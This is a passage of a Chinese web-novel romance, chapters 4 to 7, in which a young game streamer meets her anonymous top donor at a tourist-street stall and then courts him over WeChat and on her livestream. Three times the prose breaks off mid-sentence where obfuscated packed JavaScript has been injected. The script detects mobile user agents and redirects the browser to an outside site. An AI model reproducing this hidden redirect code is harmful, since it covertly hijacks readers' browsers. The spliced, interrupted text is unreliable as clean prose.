大概还是有些心虚，今晚南汐头一回主动给TZF先发了“晚安”。 南汐不止一次在心里吐槽过他的默认头像，不了解大哥的人肯定以为对方在搞抽象。 对着这样的灰色人头，总感觉是在跟AI机器人聊天。 消息刚刚发出去，TZF竟然很快回了消息。 TZF：【生病好点了吗】 这还是他们加上微信这么久以来，除了早晚安外第一次聊到别的话题，南汐受宠若惊，一下紧张，手指在键盘上乱按了几下。 南汐：【dkuahf】 [你撤回了一条消息] 南汐：【好点了！刚刚是猫猫踩到键盘了T-T】 沙发上的淘气晃了晃毛茸茸的尾巴，慵懒地打了个哈欠，并没有把人类莫名其妙的甩锅放在心上。 南汐不擅长撒谎，情急之中的这一句让她羞愧得耳朵都红了，将脸埋在枕头里逃避现实。 手机响了一声，猜到是TZF的回复，南汐隔了好几秒才敢抬起头拿起手机。 亮屏后，果然是他的消息。 TZF：【猫坏】 猫不坏，是人坏。 可是现在TZF站在她这边，南汐只好继续对不起淘气，发送了一个戴着宰相帽、额头贴着月亮的小黑猫：【清汤大老爷.jpg】 * 翌日，南汐按照和韩颖约定好的，前往探月园找她玩。 探月园是仙海市最受欢迎的5A级景区，是一座占地面积极大的古典园林，光是连接各个庭院的曲廊都长达五百多米，曲径通幽，风景迤逦。 园林内部不允许商贩进入，韩颖的摊位位于东大门的一条商业旅游街上，这里小摊、商铺众多，种类各异，纪念品、丝绸旗袍、茶叶、古玩等等应有尽有。 初夏收尾后，凉意被收走，天气逐渐变得燥热，韩颖一般只从傍晚摆摊到夜市结束。 南汐到时，正是夕阳西下，落日熔金，将青砖黛瓦绘成柔和的风景画。 临近黄昏，又是六月末的周末，来往旅客众多。 南汐很快便找到了韩颖的位置，几个月不见，两姐妹刚见面就聊了不少近况。 “我昨天还看你直播来着。” 韩颖给南汐做了个粉黄兔子系列的奶油胶手机壳，边做手工边说，“话说你天天直播那么长时间，哪里有时间谈恋爱呀？” 南汐倒是从来没想过这种事：“我还没有谈恋爱的打算呢。” 韩颖想了想也觉得有道理：“对哦，单身的话是不是对直播事业也比较好。” 由于主打游戏，她的粉丝画像里大部分都是男生，单身人设的确会更吸粉。 南汐想的却不是这个：“男人哪里有游戏好玩。” 韩颖忍不住笑起来，捏了捏她的脸：“你说话怎么这么可爱。” 不打游戏的人听见这话，总觉得充满了孩子气。 南汐不仅长相显小，声音也又软又甜，大一刚刚直播时不少观众问她是不是初中生偷玩电脑。 好在平台规定未满18岁不能开播，南汐这才洗脱了未成年人的嫌疑。 这两年来，熟悉她的老观众都知道这是她的特色，而新来的观众看到她硬核的游戏技术，有怀疑开了变声器的，也有怀疑是不是请了代打的。 对于这样质疑的声音，南汐刚开始还会认真地向他们解释，后来懒得回应，随他们怎么说。 晚饭时间，韩颖带她去杨家巷吃了叫花鸡和大闸蟹。 刚结完账，韩颖收到了母亲的电话，告知带小狗在小区里散步时被别人的狗咬到了后腿，正在送往宠物医院的路上。 南汐知道韩颖养的小狗是她在流浪狗救助中心带回家的，遇见韩颖之前受了不少苦，因此备受宠爱。 见韩颖脸上焦急万分，她说：“姐姐，你赶紧去吧，我替你看着摊位。” 韩颖叹了口气：“本来是我喊你来玩的，结果要把你一个人扔在这。” “没事的，小狗的事最重要。”南汐朝她露出坚定的眼神，“你放心，我一个人可以。” 摊位除了手作手机壳之外，还贩卖已经做好的手机壳和贴膜业务，南汐对手工不在行，收钱还是算得明白的。 “太谢谢你了，宝宝。”韩颖说，“你如果无聊的话可以提前收摊，等我回来接你，我会尽快的。” 南汐点点头，目送她打车离开后，回到了摊位上。 隔壁卖发簪的老板娘暂时替她们看了一会儿摊，见她一个人回来，笑着问：“你姐姐呢？” “她有事先回家一趟了。”南汐把刚刚给老板娘打包的午饭递给她，而后乖乖地坐在摊位后面。 老板娘和韩颖挺熟了，倒是第一回见南汐，刚刚来时便打量了她片刻。 此时韩颖不在，她主动搭话：“小美女，你今年多大呀？” “马上读大四了。” 晚霞烧红了半边天，天天窝在房间里的南汐很少看到这么漂亮的天空，忍不住举起手机，找角度拍了几张照。 老板娘还在笑眯眯地询问：“有没有谈男朋友啊？” 南汐歪着头看她，扬起一个浅浅的笑：“没有。” 听到这话，老板娘来劲了，把手机相册打开，点开一张图，凑到南汐跟前，问：“你看这个男孩子长得怎么样。” 照片里的男生长得还算清秀，她只看了一眼，礼貌地评价：“还不错，阿姨。” “这是我儿子。”老板娘喜笑颜开，“今年刚刚大学毕业，就比你大一岁。” 听老板娘开始介绍男生的学校专业，南汐这下听懂了她的意思，开始后悔刚刚为什么那么诚实地说自己没有男朋友。 面对陌生人的好意，南汐又说不出狠心的话，她只能含糊地点了几下头，寄希望于赶紧有客人过来买东西。 “他还喜欢健身呢，经常去健身馆，身材可好了，以前读高中的时候不少女生给他写情书呢。”老板娘还在健谈，“我给你找个视频看看啊！” 南汐见她在相册里翻找，心里正着急忙慌地组织措辞，连摊位面前来了人都没注意到。 “你好？”是一句不怎么标准的中文。 南汐猛地看过来，只见面积不大的摊位跟前站了两位个子高大的男人，把她面前的光都挡了大半，投下一片阴影。 右手边的客人戴着一副眼镜，是刚刚打招呼的人，正朝她挥挥手。 南汐的注意力却被左边客人的手吸引了过去。 那是一双干净有质感的手，手掌宽大，骨节凸出，指甲修剪整齐，修长的指节间随意地握着一部手机。 在南汐的眼里看来，如果普通人的手是游戏装备里的白色普品，那么此人的手便是媲美雕刻家精雕细琢的传说级艺术品。 上一次见到这么漂亮的手，还是在大哥的朋友圈里。 她下意识地将目光上移。 他身穿最简单的白衬衫，落日余晖温柔洒在身形轮廓上，仿佛给他镀上了一层金色的神圣光晕。 视线最后落在了男人的脸上。 鼻梁高挺，眉眼英俊，那双说不清意味的深邃眼眸正安静地注视着自己。 南汐心跳漏了一拍，慌忙移开视线，看向右边的人。 说话时气息都不稳：“你、你好，需要买什么吗？” 那人没说话，倒是艺术品的主人开了口：“你好，能帮我贴个膜吗？” 声音也如南汐预想中的那样好听，她觉得自己快要脸红了。 心跳也毫无预兆地乱了节拍，仿佛撒了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他是自己直播间的观众？！ 南汐不由得抬起头，目光呆呆地看向男人。 他正巧也看了过来，温声询问：“怎么了？” “你的壁纸是……” 南汐意识到自己差点要说漏嘴，连忙止住话头，结巴地补齐下半句，“……好、好看。” 男人笑了笑，似乎只当她在夸奖：“谢谢。” 普通：“她在说什么？” 传说：“说好看。” “谁好看？”普通说，“一定是我。” 传说：“她刚刚有看你吗？” 普通：“……” 普通：“搭讪高中生会被认为是奇怪大叔。” 传说：“她不是。” 普通：“那怎么穿高中校服？” 传说：“这不是校服。” 普通：“兄弟，别为你的行径找借口。” 南汐心不在焉地听着两人对话，不由自主地把贴膜速度放慢了下来。 她在心里盘算着要不要认识一下传说。 刚刚偷看他的那一眼，又让南汐有些摇摆不定。 她的观众年龄层基本处在十几二十岁，男人看起来就不像是会喜欢看她直播的样子。 但她又想到，面前的两人似乎是日本人，如果错过了，要想再碰见可就希望渺茫了。 不久前她还跟表姐说自己没有恋爱的想法，可此时完美长在自己审美点上的男人如天神降临在面前，南汐没办法无动于衷。 南汐心里纠结万分，动作再慢，一张膜也磨磨蹭蹭地贴完了。 她一狠心一咬牙，最后还是偷偷地做了个小动作，把旁边的纸巾盒盖在了收款码上。 她把手机还给男人，他接过去时，两人的指尖无意间碰撞在一起，不过短短几秒又很快分开。 心跳如鼓，黄昏的余热仿佛从被他碰过的那一小块皮肤一路蔓延到脸颊，将她藏在长发下的耳尖都烧红了。 南汐听到他礼貌地询问多少钱。 刚刚还没打好腹稿，南汐略显慌张地拿出自己的手机，对上男人含笑的眼眸，声音小了一些：“我、我是来帮忙的，可以加微信转我吗？” “好。” 男人似乎没有发现她话里的不对劲，主动将微信二维码调了出来。 南汐没想到他问都不问就同意了，连忙打开微信扫了码。 然而接下来弹出来的用户资料，让她彻底傻眼了。 默认的灰色人头头像。 用户名处三个排列熟悉的大写字母。 这…… 这不是她的榜一大哥吗？！ 5. 小心思 南汐听到自己大脑里轰的一声炸开了烟花，随后持续好几秒的耳鸣，世界彻底静默下来。 她今天不过是受表姐邀请过来找她一起玩，帮她看了一会儿摊位。 本以为遇见看自己直播的外国人就已经是小概率事件了，外国人长得还这么帅，南汐只是抱着想认识一下的心态使了点小伎俩。 更荒谬的事情冲击了南汐的认知，她几乎要怀疑是不是生病烧坏了脑子，不然面前这个眼熟的用户资料要怎么解释？ 世界上还会有第二个人使用默认头像、名称也取得跟大哥一模一样吗？ 怎么可能？！ 短短几秒钟内，脑子没办法处理太复杂的事件，直接罢工宕机了。 南汐向来是个藏不住心事的人，满脸的茫然和呆滞逃不过面前两人的眼睛。 普通完全看不懂是什么情况，用音调奇怪的中文问了一句：“发生什么事了？” 南汐猛地回过神来，手指不听使唤地按了几下添加对方为好友。 唯一值得庆幸的是，还好她用的是私人号扫码，不然不是直接跟大哥摊牌了？ “没事。” 传说通过了好友，解释了一句，又问她，“多少钱？” 对方转账过来，随后说了句“谢谢”，将手机收了起来。 不知是不是她表现得太不正常，男人的目光在她脸上多停留了几秒，随后朝她露出一个浅淡的笑。 耳鸣好像自动痊愈了，取而代之的是毫无节奏的砰砰声，从胸腔的位置源源不断地传来。 吵闹得很。 南汐的目光还像跟踪镜头似地黏在男人身上，听到他们转身离开时的对话。 普通：“她把联系方式给你了？” 传说：“只是付款方式。” 普通：“你笑什么？” 传说：“没什么。” 声音渐远，南汐看着他们逐渐融入来往游客人流中，忽然想起来什么，连忙举起手机，偷偷地拍下了一张两人的背影图。 隔壁摊位的老板娘在旁边等候许久，见她终于忙完，举着手机过来：“我找到视频了……” “阿姨，我有点忙，先不看了！”南汐急急忙忙地婉拒了她，把刚刚拍下来的照片发给温琬。 她现在所有的心思都在那个男人身上，顾不得客套礼貌。 老板娘也注意到了刚刚的两名外国人游客，见南汐态度转变，摇了摇头，叹息着打消了主意。 温琬还没回复消息，南汐找到自己的私密相册，点开了唯一一张照片。 那是TZF不久前发在朋友圈里的，南汐被那双手吸引，悄咪咪地把照片保存了下来，怕被别人看到，所以存在了私密相册。 重新看到这张照片，南汐才恍然发觉与刚刚现实中见到的那双手实在太过相似，怪不得自己第一时间就注意到了。 别人是对脸过目不忘，她是慧眼识手。 那个人就是她的榜一大哥！ 得出这个结论，南汐仍然处于极度震惊中无法抽身。 第一次见到TZF的那双手时，她承认自己的确对大哥的脸有过短暂的幻想。 如今见到了大哥真人，南汐才意识到自己见过的帅哥还是太少了，导致她对他的抵抗力近乎没有。 温琬正巧回复了：【去哪里玩啦】 南汐：【你看穿白衣服那个！】 温琬：【身材不错，怎么啦】 南汐：【他是TZF！】 温琬：【？】 南汐用一条长语音把刚刚的遭遇简单说了一遍，由于兴奋劲儿还没过，措辞组织欠佳，在温琬听来逻辑有些混乱。 不过仍然从她那五十多秒的语音里提取到了关键信息。 温琬：【真的假的？是不是恰好名字一样？】 南汐把微信两个号里的好友都截图一张发了过去。 温琬：【我靠，真是他啊？？？】 她直接一个电话打了过来。 “你这什么运气啊？”温琬特别好奇，“大哥长什么样？多大了？做什么工作的？” “我就贴个膜，我哪知道这些啊。”南汐苦恼，“我就知道他长得帅，说日语。” “霓虹金？”温琬想了想，问，“他应该没认出你吧？昨天那个视频我处理得很快了。” 南汐的声音也是很好认的特点，不过好在这两天感冒，鼻音严重，现实里的声音和直播话筒收音应该是差别的。 “我觉得没有。”南汐声音闷闷的，“他根本不认识我。” 眼神礼貌，说话客气，完全就是对待陌生人的态度，如果真的知道是打赏两年的女主播，怎么会无动于衷。 “那就好。”温琬松了口气。 “怎么好了？”南汐不解。 “要见过你岂不是会对你产生非分之想？” 听到南汐沉默了几秒，温琬：“你好像觉得很可惜？” 南汐音量尽显心虚：“他好帅。” 尤其是那双手。 “有多帅？” “等下。” 温琬脑子转过来了，“不会是你对人家有非分之想了吧？！” 南汐被她说中心思，难以言喻的燥热感又卷土重来：“我、我就想认识一下嘛。” 温琬：“宝宝，你知道做你这行最忌讳的是什么吗。” 南汐不语。 “爱上客人。” “你看，你都说了他长得帅，又有钱，我觉得大概率已经结婚了。”温琬猜测，“给你刷钱估计有钱人无聊培养的烧钱爱好，趁老婆孩子不知道偷偷刷的，这也能解释为什么他总是刷完就走。” 南汐想了想：“他刚刚是跟一个男性朋友来旅游。” 普通品质没有分走南汐的注意力，她只记得他戴了副眼镜。 温琬给她出主意：“你直接微信问他是不是单身。” “目的性也太强了吧。”南汐有些矜持，“会不会让他觉得冒犯？” 温琬：“你现在心里那些小心思已经在全方面地冒犯他了。” “……” “那就循序渐进。”温琬说，“先问问叫什么，总不能一直大哥大哥地叫。” 南汐冥思苦想，最终找到了一个借口。 她生怕自己切错号，反复确认是私人号，才发出消息。 南汐：【先生你好啊，我记错价格了，多收了你5元】 南汐：【转账】 南汐从小诚实坦荡，唯独在他面前接二连三地撒谎，脸皮还是一样薄，说完后脸红老半天。 对方很快收下了她的转账。 TZF：【没关系】 按照大哥动辄送上千块礼物的格局来看，男人是真的完全没认出她，不然就不会收下这五块钱了。 南汐早就在输入框提前打好了文字，看到他的消息，心里默算了一下打字时间，掐在10秒钟后发了出去。 南汐：【你叫什么名字呀？】 等待回复的几秒钟显得格外漫长。 TZF：【唐泽枫】 TZF：【你呢】 真的不是陶喆粉！ 南汐：【唐先生你好，我叫南汐】 南汐：【猫猫探头.jpg】 南汐的微信里存了很多表情包，大部分猫猫表情包都来自于淘气。 她刚给他打好备注，对方的消息发了过来。 唐泽枫：【名字很好听】 南汐的脑中已经自动响起了对方说出这几个字的声音。 头一回搭讪就收到了夸奖，南汐觉得这是个不错的开始。 南汐：【谢谢[星星眼]】 本来还想再聊几句，暮色渐浓，来到摊位前的游客变多，南汐不得不专心接待客人。 直到接近七点，韩颖急匆匆跑来，说是终于处理好了小狗。 “还好只是出了血，没有伤到骨头，吓死我了。”韩颖松了口气。 南汐也跟着放了心：“那就好。” 韩颖离开之后手机上陆陆续续收到了付款提示，知道南汐卖出了不少手机壳。 她先是问：“你今晚还直播吗？” 原本南汐还想着有昨天的先例在，今天要不也水点时长算了，但今天见到大哥本人给她带来的震撼犹在，南汐知道要想跟他再有联系，只有通过直播。 况且，她心里还有很多疑惑想找人问问。 见她点了头，韩颖说：“那就等你感冒好了，你想吃啥姐都请你！” 南汐欣喜：“好啊好啊。” 韩颖早早收了摊，开车把南汐送回了家。 南汐心里一直惦记着心事，刚回来就开了播，但没有立马开始游戏，而是打开了音乐播放器，随便选了首歌放着。 她今天来得有些晚，很多观众早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236676|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就在直播间等着了。 【月宝晚上好呀】 【终于来了，我必须马上点外卖！】 【今天又是偷偷播吗】 【宝宝怎么声音还是哑哑的】 “感冒还没有完全好。”南汐吸了吸鼻子，说，“先聊会儿天吧。” 反正大哥不在，南汐心里没什么负担，问，“咱们直播间有没有女粉啊？” 她这句话引出了大量弹幕。 【我我我！喜欢月宝五个月了，我直接嗨老婆】 【有啊有啊，我都默默看直播不咋发弹幕】 【单纯喜欢看月宝打游戏，我不怎么玩哈哈哈】 【我是啊，就是最近感冒了，声音有点像男的】 【你最好是“像”×21】 “我想问老婆们一个问题啊。” 南汐做贼心虚，声音压得低低的，“如果，我是说如果，你们在街上碰见了帅哥，会不会主动搭讪？” 【那得看是什么级别的帅哥了】 【不会，不过我被搭讪过好多次】 【喜欢就追啊，帅哥都很抢手的】 Tsuki的小猫耳耷拉了下来。 “不是我。”南汐说起来自己都想笑，“是我一个朋友。” 【好好好，但凡你底气足一点呢】 【完了，我好像要失恋了】 【怎么在聊这个，不打游戏吗】 【男人只会影响你拔枪的速度】 “我朋友说，要怎么含蓄地问别人有没有对象呢。” 南汐总算是把心结问出来了。 【简单，直接发：你长这么帅肯定有女朋友吧】 【看他晚上忙不忙就知道了啊】 【男人的嘴骗人的鬼，有也可能说没有】 【看朋友圈，恋爱了一般都会有痕迹，情侣头像牵手照什么的】 南汐看到这条弹幕，心道认识大哥两年来就见他发过那么一张照片，而且从头像昵称完全看不出来任何信息。 他的隐私保密工作甚至比南汐做得还要好。 南汐想了想，又问：“一般跟不熟的人聊什么话题比较好啊？” 【跟我聊聊，我免费指导】 【聊游戏啊，问他愿不愿意带你玩】 【有可能他技术还不如月宝，那不是很尴尬】 【聊音乐，为以后一起看演唱会做准备】 【聊电影最实际，看一次电影感情自然就升温了】 【最好还是恐怖电影】 【服了，都是假粉，月宝又不是没玩过恐怖游戏，心跳比我死了都稳】 “对哦。”南汐点头，“我不怕恐怖电影，那些跳脸画面吓不到我。” 她看弹幕给出五花八门的办法，都不怎么符合实际，毕竟有些观众年纪比她还小，恋爱幻想比较多。 南汐觉得肯定不适用于大哥。 礼物区出现了一条通知。 长河饮马发送了[30元付费留言]：【月宝喜欢什么类型的？】 “谢谢长河饮马的留言。” 看到这个问题，南汐的脑子里第一时间就浮现了下午和唐泽枫见面的场景，无意识地咬了咬下唇。 在此之前南汐从来没想过自己会喜欢谁。 只有在意识到自己怦然心动之后，那个人才成了标准答案，可是她不能说。 因为直播间的大家对他太熟悉了。 “我喜欢的类型啊……”南汐不知道怎么回答，犹豫半天才说，“举个例子，有些人喜欢吃鸭头，但是我喜欢吃鸭掌。” 【真是好抽象的比喻】 【给我听饿了是怎么回事】 【还得是变态辣，边流鼻涕边嗦才是生活】 【下次粉丝团礼物能不能出个香辣鸭掌，月宝喜欢】 【刚不在聊帅哥吗？怎么转美食频道了】 季夏发送了[30元付费留言]：【月宝多聊点恋爱，女粉爱听！】 南汐刚准备谢留言，瞟见弹幕忽然多了几条无意义的“啊啊啊”。 她还不知道发生了什么，就见礼物区那条30元的留言瞬间被顶了下去，取而代之的是一条紫色留言。 元气用户28389发送了[1000元付费留言]：【什么恋爱？】 南汐猛地倒吸一口气，右下角一直平缓稳定在67的心律倏地升到了110。 6. 心跳 Tsuki直播间的画面里显示心率，这还是几个月前才开始有的。 当时南汐打算连播几天恐怖游戏，嘴上说不怕，观众却不信，于是有人建议她将心率放上来作证。 南汐当即买了电子手表，捣鼓了一阵，将心跳显示在了屏幕的右下角。 之后果真证实她胆子够大，不管玩什么恐怖游戏，心率稳稳当当地控制在80以下，连观众被吓到时，她都毫无波动。 在那之后，南汐觉得这个心率显示挺有意思，一直没有去掉，保留了下来。 却没想到会有被它出卖的一天。 弹幕不少都在看乐子。 【哈哈哈哈怎么回事啊，不是说没发直播通知吗？】 【完了完了，被抓包了哈哈哈哈】 【月宝怎么心跳这么快！】 【怎么可以在爹面前聊这个！快撤回啊！】 【元神来查岗了，你们快替月宝说两句啊！】 【她慌了她慌了，已经120了！】 【唯一一个能撼动月宝心跳的男人出现了！元神！】 南汐几度张不开口，无法估量的巨大羞耻感瞬间充斥着大脑，浑身的血液都像沸腾了一般往脸上涌。 明明还在直播，南汐却觉得那双深邃神秘的眼眸好似穿过了屏幕，直达眼前，用审视的目光盯着她看。 先是背着大哥偷偷直播，又是当着直播间这么多人的面谈论他。 南汐根本不知道从哪里开始解释。 看到还在往上升的心跳，南汐一鼓作气，直接把手表摘了下来。 117一下降到了0。 世界安静了。 谢过礼物之后，南汐凑近了麦克风，急急地想要表明自己的立场：“我在帮朋友解决感情问题呢，我可没谈过恋爱。” 不知道他来了多久，听到了几句。 南汐可不想在这时候被他误会自己不是单身。 【主播别噶好吗，心率呢？】 【吓死我了，我以为月宝心脏骤停了】 【她天天打游戏哪有时间谈恋爱，很合理啊】 【主播大学都没毕业，对帅哥动心不是很正常？】 【月宝喜欢的人有多帅？看看照片】 因为这条弹幕开头，有不少观众开始起哄。 【看看照片×102】 南汐莫名激动：“没有！你们别乱说！” 她重新把手表戴回手腕上，心率依然保持在100左右波动。 表明她还没有完全冷静下来。 【没有照片还是没有喜欢的人？】 南汐看到在线榜中，熟悉的ID仍然没有离开，咬牙：“都没有啦！” 屏幕里的Tsuki表情颇有些恼羞成怒，眉头皱起，却因为形象太过于可爱，完全凶不起来，看着毫无震慑力。 平时的南汐总是面不改色万分冷静，今天情绪起伏异常大，弹幕没放过这么少见的她。 南汐还不忘给大哥解释今天开播的事：“我在家无聊，所以开播聊聊天嘛，那个直播通知忘记发了。” 【并非忘记×10】 【她狡辩的样子好可爱，越描越黑哈哈哈】 【好了好了，大家别逗她了，再别说恋爱的事了啊】 【爹你快说句话呀！月宝这心率根本降不下去】 南汐觉得再这么聊下去绝对要出事，左思右想要怎么找借口打游戏，屏幕上又冒出一个通知。 仿佛真是来救她与水火之中。 元气用户28389发送了[1000元付费留言]：【今天做什么了】 大哥今天不仅突然出现，而且没有立即离开，反倒是跟她聊了起来。 南汐的心脏几乎提到了嗓子眼，她生怕弹幕告状，连忙加快语速自己先招了。 “今天跟姐姐出去吃饭了，外面好热。” 再往下聊就要碰见大哥了，南汐从记忆角落里找出一点碎片，“对了，遇见了一个阿姨，她问我多大了，问我有没有男朋友，还想把她儿子介绍给我呢。” 【还有这种好事？】 【我眼红了，我也想和月宝见面】 【难道这就是故事的男主角？】 “当然不是了！”南汐刚否认完，连忙又补充，“没有男主角，都说了是我朋友了。” 弹幕又有问到姐姐是做什么的，南汐挨个回答，总算是绕过了“帅哥”这个话题。 就在她的心率逐渐趋于平静时，放在电脑桌上的手机突然响了一声。 平时直播时，南汐为了不受干扰都会将手机通知静音。 今天因为开播急而忘了。 她扫了一眼，看到TZF三个字母，呼吸一紧。 工作号上他的好友还没来得及修改备注。 TZF：【不用在意我，玩游戏吧】 他似乎听出来了南汐在尬聊。 大哥突击直播间，她愧疚的同时又害怕被误会，碍于他的身份特殊，南汐只能试图转移他的注意力。 方式很蹩脚，好在他还是很善解人意的。 【还以为是我自己的微信响了】 【谁发消息了？月宝怎么又激动了？】 【我也有听到手机响就心悸的毛病】 【报！元神走啦！】 【爹不在，恋爱话题能不能继续？】 走之前，大哥还送了个月亮花灯。 南汐对着虚空谢完礼物，深吸了口气，他不在总感觉压力都小了很多。 “不聊了，我要打游戏了。”南汐关闭音乐，打开Steam，自暴自弃，“哥都知道了，以后还是准时发直播通知好了。” 闲聊就此结束，南汐回到了熟悉的领域，切换回了冷静的风格。 开播时就已经挺晚了，南汐只玩了两个多小时，赶在十二点之前匆匆下播。 刚关电脑，温琬发消息过来：【这下我是真信了大哥很帅】 温琬成为南汐的助理之后，她的每场直播都有在看，怕的就是观众基数太多，中途出现什么意外。 好在南汐绝大多数时间都在打游戏，观众素质也不错，没什么需要操心的。 她自然知道今天直播开头那段聊天是针对谁，观众不懂南汐为什么突然激动，温琬大概猜到了，无非是因为下午那个男人。 南汐没有拍到唐泽枫的正脸照，只有一张背影图，光是听她的描述也想象不出画面。 但从南汐今天两次离奇的心率飙升来看，恐怕是帅到惊为天人的程度。 她和南汐做了三年的大学同学，学校里也不乏长相周正帅气的校草，有好几个在大一就给南汐表过白，但南汐对他们都无动于衷，没有展现过丝毫的兴趣。 甚至为此有人传言南汐对男的根本没兴趣。 因此，温琬对于这个让南汐一见钟情、控制不住心动的大哥到底长什么样非常好奇。 南汐发给她一个猫猫害羞的表情包。 温琬：【你问清楚他感情状况了吗？】 南汐：【没有……我不知道怎么开口】 温琬：【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236677|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你准备用哪个号钓他？】 南汐不解：【有区别吗？】 温琬发来两条语音：“区别很大，私人号就打直球，不过一半概率会被直接拒绝。” “工作号就委婉一点，他给你花了那么多钱，养赛博小宠物也养出感情来了，成功率高一些。” “最关键的一点。”温琬又加了一句，“私人号可以直接约出来见面，工作号只能网恋咯。” 南汐想了想，刚认识就聊感情实在太唐突，以她的性格，她还是愿意选择后者。 见不见面可以以后再说。 她有小心思，在直播时故意没有回他消息，想着等下播了再好好聊。 平时她凌晨一两点下播，他还给她发“晚安”。 现在这个点，他应该没睡。 南汐点开工作号微信，先是修改了备注，随后才发消息。 【哥，谢谢你替我解围，其实我感冒快好了，不影响直播的】 对方果然还在线，很快回复：【不客气，开心就好】 南汐整个人后仰窝在躺椅里，脸上挂着自己都没察觉到的笑意，认认真真在输入框里打字。 南汐：【我直播说的是真的！真的没有恋爱过】 她想的是借直播聊到的话题委婉地打听一下信息，如果他接话，下一步就听观众的，拐着弯问他有没有女朋友。 谁知道下一秒，对方直接大方地给出了南汐一直纠结的问题的答案。 唐泽枫：【这没什么，我也没有】 他的语气听起来似乎更像在安慰她。 “好耶！” 南汐兴奋到猛地从转椅上蹦了起来，把沙发上打盹儿的淘气吓得瞪大了眼睛，四处张望，不理解突如其来的人类诡异行为。 不知为什么，明明只见过他一面，南汐却对他有着百分百的信任。 既然没有恋爱过，她就不需要思考那么多，可以更加直白一些。 他们的共同话题不多，大哥每次来看直播都仅仅停留一两分钟，看不出他的喜好，只能先从游戏入手。 南汐：【你喜欢看什么游戏？可以点播】 唐泽枫：【都行，随你喜欢】 他的话滴水不漏，没有任何漏洞可钻。 南汐没有泄气，又问：【那你玩游戏吗？】 唐泽枫：【看你玩】 南汐：【可是你每次都是很快就走了啊T-T】 他来直播间都很早，几乎在南汐刚在群里发出直播通知后，隔了几分钟就看到他来送礼物。 彼时南汐已经在游戏中，如果晚了一会儿再谢礼物，人就已经不在了。 南汐无比怀疑，大哥真的看过她打游戏吗？ 来去匆匆只短暂停留片刻，如果网卡一点，直播间画面都显示不出来吧？ 刚认识大哥那段时间，南汐的室友还调侃过大哥是不是忙着给下一个主播打赏，赶着切出去。 后来才发现大哥只关注过她一个人，也只给她一个主播送过礼物。 两年来都是如此。 或许是这个问题把他问住了，对面迟迟没有回复。 南汐咬着下唇，觉得刚刚不该发那句话，可能会让他误以为自己在抱怨。 有礼物收还不知足，要求还这么多。 南汐想要找补一句，手指都点开键盘了，输入框上面接连冒出来两个白色框框。 唐泽枫：【是我的错】 唐泽枫：【想要什么补偿？】 南汐心中大喜。 好机会！ 7. 钞能力 对南汐来说，直播这两年来赚到的钱已经很多人望尘莫及的程度。 她平时消费欲也不高，没有什么压力，对钱的执念并不深。 值得庆幸的是，幸好唐泽枫给了她选择的余地，而不是直接爽快地打钱送礼物。 南汐打字的速度变快了很多，生怕对方反悔。 【前几天运营说要组织无畏契约水友赛，你要一起玩吗？】 实际上运营只提了一嘴暑假可以多来点水友赛，当时南汐并未放在心上。 《无畏契约》是一款多人在线第一人称射击游戏，南汐在热度最高的时候也播过一段时间。 然而唐泽枫先是问了个始料未及的问题：【水友赛是什么】 南汐立即解释：【就是找直播间的观众一起打游戏】 无畏契约是5V5竞赛，为了保证尽量多的观众能参与到游戏里，届时将会采取换淘汰赛的形式。 南汐考虑到他有可能不爱玩这一类游戏，解释完之后补充了一句：【不玩这个玩别的也可以，听你的】 不过是一次水友赛，玩什么不重要，南汐在乎的是唐泽枫能不能来。 等待他回复的时间很难熬，南汐盯着屏幕上“对方正在输入”，隔了老半天，他的消息才弹出来。 唐泽枫：【有没有只陪你的游戏？】 南汐愣怔一秒，意识到脸颊不受控制地烧了起来。 “只陪你”三个字余音绕梁一般在她脑海里荡起了回声，每响一声都让她心智溃散一分。 响到第三声时，南汐猛地回过神来，打字回复：【当然有啦！】 双人联机游戏多得是，她还想着循序渐进，没想到唐泽枫直接给了她最想要的答案。 唐泽枫：【我下周末有时间】 南汐：【那我等你[星星眼]】 唐泽枫：【好，早点休息】 结束对话后，南汐仍然难掩雀跃，从沙发上抱起淘气转了几个圈。 没想到一次主动能换来和他单独打游戏的机会，他还点明了是陪她玩！ 果然如温琬所说，毕竟是给她当了两年榜一的大老板，情分还是在的。 南汐忍不住把好消息分享给她，看到两人的聊天记录截图，温琬发过来一条声音含笑的语音：“宝宝，你直播的时候可得小心，别把迷妹的一面暴露出来了。” “怎么会。”南汐也发过去语音，保证，“我会很稳重的！” 这晚南汐兴奋到失眠，熬过12点，手机日历提醒她，今天是带淘气去医院体检的日子。 七月一日正式放暑假，怕宠物医院人太多，南汐起了个大早，让祝晴开车送她去。 见她心情格外好，祝晴笑着问：“怎么了这是，今天这么开心。” 南汐这才知道收敛一点，没好意思跟妈妈说实话。 体检结束，回来的路上，祝晴建议带淘气去小区公园里转转。 进入七月份之后，白昼即将变得极其酷热，暑气逼人，淘气更不愿意出门了。 树荫下还算凉快，南汐陪淘气在草坪上玩了一会儿，祝晴拍下了一些照片，又指挥她抱着淘气再来几张。 